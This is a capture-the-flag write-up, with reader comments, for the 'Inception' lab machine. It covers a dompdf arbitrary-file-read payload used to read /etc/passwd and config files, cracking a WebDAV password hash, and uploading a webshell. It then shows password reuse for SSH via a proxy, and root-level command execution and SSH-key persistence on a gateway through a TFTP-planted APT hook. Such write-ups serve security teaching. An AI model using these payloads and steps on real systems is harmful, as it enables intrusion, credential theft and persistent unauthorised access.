Inception write-up by Alamot

Enumeration

Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.67

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-04-14 09:24:04 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.67                                     
Discovered open port 3128/tcp on 10.10.10.67   

We found TCP ports 80 and 3128 open. Let’s explore them using nmap:

$ sudo nmap -A -p80,3128 10.10.10.67
Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-14 12:28 EEST
Nmap scan report for 10.10.10.67
Host is up (0.085s latency).

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

Getting shell

If we view the the source code of the main page (view-source:http://10.10.10.67/) we notice a comment:

...
<!-- Todo: test dompdf on php 7.x -->
...

Let’s try to visit http://10.10.10.67/dompdf/

Index of /dompdf
[ICO]       Name                         Last modified       Size
[PARENTDIR] Parent Directory         -
[   ]       CONTRIBUTING.md              2014-01-26 20:25    3.1K
[   ]       LICENSE.LGPL                 2013-05-24 03:47    24K
[   ]       README.md                    2014-02-07 03:30    4.8K
[   ]       VERSION                      2014-02-07 06:35    5
[   ]       composer.json                2014-02-02 08:33    559
[   ]       dompdf.php                   2013-05-24 03:47    6.9K
[   ]       dompdf_config.custom.inc.php 2013-11-07 04:45    1.2K
[   ]       dompdf_config.inc.php        2017-11-06 02:21    13K
[DIR]       include/                     2014-02-08 01:00    -
[DIR]       lib/                         2014-02-08 01:00    -
[   ]       load_font.php                2013-05-24 03:47    5.2K
Apache/2.4.18 (Ubuntu) Server at 10.10.10.67 Port 80

Nice. Let’s check its version http://10.10.10.67/dompdf/VERSION

0.6.0

Now, we can search for exploits:

$ searchsploit dompdf 0.6.0 -w
-------------------------------------------------------
dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read
    https://www.exploit-db.com/exploits/33004/
dompdf 0.6.0 beta1 - Remote File Inclusion
    https://www.exploit-db.com/exploits/14851/
-------------------------------------------------------

Exploit 33004 inform us for arbitrary file read vulnerability is present on dompdf.php file:

GET /dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE> HTTP/1.1

Let’s test it http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd

...
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash
ftp:x:107:112:ftp daemon,,,:/srv/ftp:/bin/false
...

Nice! It works. Now, let’s examine some interesting files:
http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf

...
    Alias /webdav_test_inception /var/www/html/webdav_test_inception
    <Location /webdav_test_inception>
        Options FollowSymLinks
        DAV On
        AuthType Basic
        AuthName "webdav test credential"
        AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
        Require valid-user
    </Location>
...

Webshell

Interesting! Let’s see this webdav.passwd: http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd

...
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
...

Let’s find the hash type (don’t forget to escape $ or enclose the whole hash in single quotes):

$ hashid \$apr1\$8rO7Smi4\$yqn7H.GvJFtsTou1a7VME0
Analyzing '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
[+] MD5(APR) 
[+] Apache MD5

$ hashid '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
Analyzing '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
[+] MD5(APR) 
[+] Apache MD5 

Let’s crack (i.e. reverse) this hash:

$ hashcat -h | grep MD5 | grep APR
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server

$ hashcat -m 1600 '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0' /usr/share/dict/rockyou.txt
...
$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69
...

Therefore our webdav login credentials are webdav_tester:babygurl69. If you try to obtain a usual shell you will discover soon that most kinds of traffic are blocked by the firewall. So, we are gonna upload a webshell to get us going:

$ cadaver
dav:!> open http://10.10.10.67/webdav_test_inception
Authentication required for webdav test credential on server `127.0.1.1':
Username: webdav_tester
Password: babygurl69
dav:/webdav_test_inception/> put b374k.php
Uploading b374k.php to `/webdav_test_inception/b374k.php':
Progress: [=============================>] 100.0% of 947 bytes succeeded.

Now, we can visit http://10.10.10.67/webdav_test_inception/b374k.php in order to have access to our webshell (use webdav_tester:babygurl69 again for credentials).

SSH shell

If we explore the box a little, using our webshell, we are gonna find MySQL credentials inside /var/www/html/wordpress_4.8.3/wp-config.php:

...
/** MySQL database username */ 
define('DB_USER', 'root'); 

/** MySQL database password */ 
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');
...

Remember, we know already a user name from /etc/passwd (cobb). Maybe that password for MySQL is re-used. Let’s try it. First, add the squid proxy to /etc/proxychains.conf:

$ cat /etc/proxychains.conf
http 10.10.10.67 3128

Now let’s try this:

$ proxychains ssh cobb@127.0.1.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/libproxychains.so.4.12
[proxychains] DLL init: proxychains-ng 4.12
[proxychains] Strict chain  ...  10.10.10.67:3128  ...  127.0.1.1:22  ...  OK
cobb@127.0.1.1's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Sat Apr 14 12:01:57 2018 from 127.0.0.1
cobb@Inception:~$ 

Yeah! It works! :smiley:

Now let’s see if our cobb user has any sudo right:

cobb@Inception:~$ sudo -l
[sudo] password for cobb: VwPddNh7xMZyDQoByQL4
Matching Defaults entries for cobb on Inception:
   env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cobb may run the following commands on Inception:
   (ALL : ALL) ALL
   
cobb@Inception:~$ sudo -i (or sudo su)
Password: VwPddNh7xMZyDQoByQL4
root@Inception:/home/cobb# whoami
root

Wow! We are root. Let’s get this flag. :smiley:

root@Inception:/home/cobb# cd /root
root@Inception:~# cat root.txt
You're waiting for a train. A train that will take you far away. Wake up to find root.txt

Well… not so soon. It appears that we are inside another box.

Privilege escalation

Let’s explore a little:

root@Inception:~# cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 192.168.0.1

root@Inception:~# arp -a
? (192.168.0.1) at fe:ae:a2:b2:88:11 [ether] on eth0

root@Inception:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:16:3e:28:53:63  
          inet addr:192.168.0.10  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::216:3eff:fe28:5363/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:858019 errors:0 dropped:0 overruns:0 frame:0
          TX packets:583712 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:74512993 (74.5 MB)  TX bytes:106431159 (106.4 MB)
...

root@Inception:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 192.168.0.10
    netmask 255.255.255.0
    gateway 192.168.0.1
    dns-nameservers 192.168.0.1

Well, it seems we are 192.168.0.10 and our gateway is 192.168.0.1. Let’s find what ports are listening on the gateway (Look mom! No need for nmap! :D):

root@Inception:~# nc -zv 192.168.0.1 1-65535 &> results && cat results | grep succeeded
Connection to 192.168.0.1 21 port [tcp/ftp] succeeded!
Connection to 192.168.0.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.0.1 53 port [tcp/domain] succeeded!

Well, well. Port 21 (i.e. FTP) is open. Let’s try it:

root@Inception:/dev/shm# ftp 192.168.0.1
Connected to 192.168.0.1.
220 (vsFTPd 3.0.3)
Name (192.168.0.1:cobb): anonymous
331 Please specify the password.
Password: anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

That’s it! Now, if we explore a little the gateway, using our FTP access, we are gonna find some intresting things:

ftp> cd /etc
250 Directory successfully changed.
ftp> get passwd
local: passwd remote: passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for passwd (1622 bytes).
226 Transfer complete.
1622 bytes received in 0.00 secs (4.0600 MB/s)
ftp> get crontab
local: crontab remote: crontab
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for crontab (826 bytes).
226 Transfer complete.
826 bytes received in 0.00 secs (2.4464 MB/s)
ftp> cd default
250 Directory successfully changed.
ftp> get tftpd-hpa
local: tftpd-hpa remote: tftpd-hpa
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for tftpd-hpa (118 bytes).
226 Transfer complete.
118 bytes received in 0.00 secs (281.0594 kB/s)
ftp> exit
221 Goodbye.
root@Inception:~# cat passwd
...
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:111:118:ftp daemon,,,:/srv/ftp:/bin/false
tftp:x:112:119:tftp daemon,,,:/var/lib/tftpboot:/bin/false
...

root@Inception:~# cat tftpd-hpa
# /etc/default/tftpd-hpa

TFTP_USERNAME="root"
TFTP_DIRECTORY="/"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="--secure --create"

root@Inception:~# cat crontab
...
# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 *	* * *	root	apt update 2>&1 >/var/log/apt/custom.log
30 23	* * *	root	apt upgrade -y 2>&1 >/dev/null
...

We see that we have also TFTP access with writing permissions to create new files (in contrast our FTP access is read only):

--create, -c
      Allow new files to be created.   By  default,  tftpd  will  only
      allow  upload  of  files  that already exist.  Files are created
      with default permissions allowing anyone to read or write  them,
      unless the --permissive or --umask options are specified.

We have also a very interesting cron job which is executed every 5 minutes:

...
*/5 *	* * *	root	apt update 2>&1 >/var/log/apt/custom.log
...

Getting root flag

Now, read this: https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/
We can add some hooks to run a command or script after running apt-get by adding or editing files inside the /etc/apt/apt.conf.d/ directory:

root@Inception:/dev/shm# echo 'APT::Update::Pre-Invoke {"/bin/cp /root/root.txt /dev/shm/flag; chmod 755 /dev/shm/flag"};' > 100update
root@Inception:/dev/shm# tftp 192.168.0.1
tftp> put 100update /etc/apt/apt.conf.d/100update
Sent 56 bytes in 0.0 seconds
tftp> q

Now wait a little and the use ftp to read the flag:

root@Inception:~# ftp 192.168.0.1 
ftp> cd /dev/shm
ftp> get flag
ftp> bye
root@Inception:~# cat root.txt
8d1e2e91de427a6fc1a9dc309d563359

Getting root shell (on 192.168.0.1 via SSH)

We can create a private/public key pair for our user:

root@Inception:/home# cd /root/.ssh
root@Inception:~/.ssh# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:o34Av3ZHFt2bC3ZW7A2Q7wlaARTZzXqkeAnf7+w8AcE root@Inception
The key's randomart image is:
+---[RSA 2048]----+
|         .+=.+   |
|          o =E+  |
|           = @.. |
|    .     o X.* o|
|     o  S  = +.O.|
|      o. .+ o B.+|
|      .o o . + +.|
|     .o o .   .oo|
|     ..o .     .+|
+----[SHA256]-----+

root@Inception:~/.ssh# ls
id_rsa  id_rsa.pub  known_hosts

Then we can upload our public key on 192.168.0.1:/id_rsa.pub /root/.ssh/authorized_keys using TFTP. The problem with this approach is that TFTP creates the file with too broad permissions (anyone is allowed to read or write it). SSH public keys fail if authorized_keys has incorrect permissions. But, we can use our previous apt trick to set the correct permissions:

root@Inception:~/.ssh# echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > 10update
root@Inception:~/.ssh# tftp 192.168.0.1
tftp> put id_rsa.pub /root/.ssh/authorized_keys
Sent 397 bytes in 0.0 seconds
tftp> put 10update /etc/apt/apt.conf.d/10update
Sent 67 bytes in 0.0 seconds
tftp> q

Now wait a little and then you can connect to 192.168.0.1 as root via SSH:

root@Inception:~/.ssh# ssh root@192.168.0.1
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

root@Inception:~# cat root.txt
8d1e2e91de427a6fc1a9dc309d563359

Nice writeup!
+1 for the root shell in the end.

gr8, i used same way

Wonderful write-up Alamot!

Inception is a very nice box! And there is nice wordplay in the name Dom. It was very painful when I noticed that I can upload authorized_keys for root with TFTP and that it doesn’t work because of the permissions. At that point I had already spent considerable amount of effort to find a way to break out of the container.

Very nice. This is pretty much the exact same path I took too - I spent too long trying to get my authorized_keys working, before discovering the apt hook.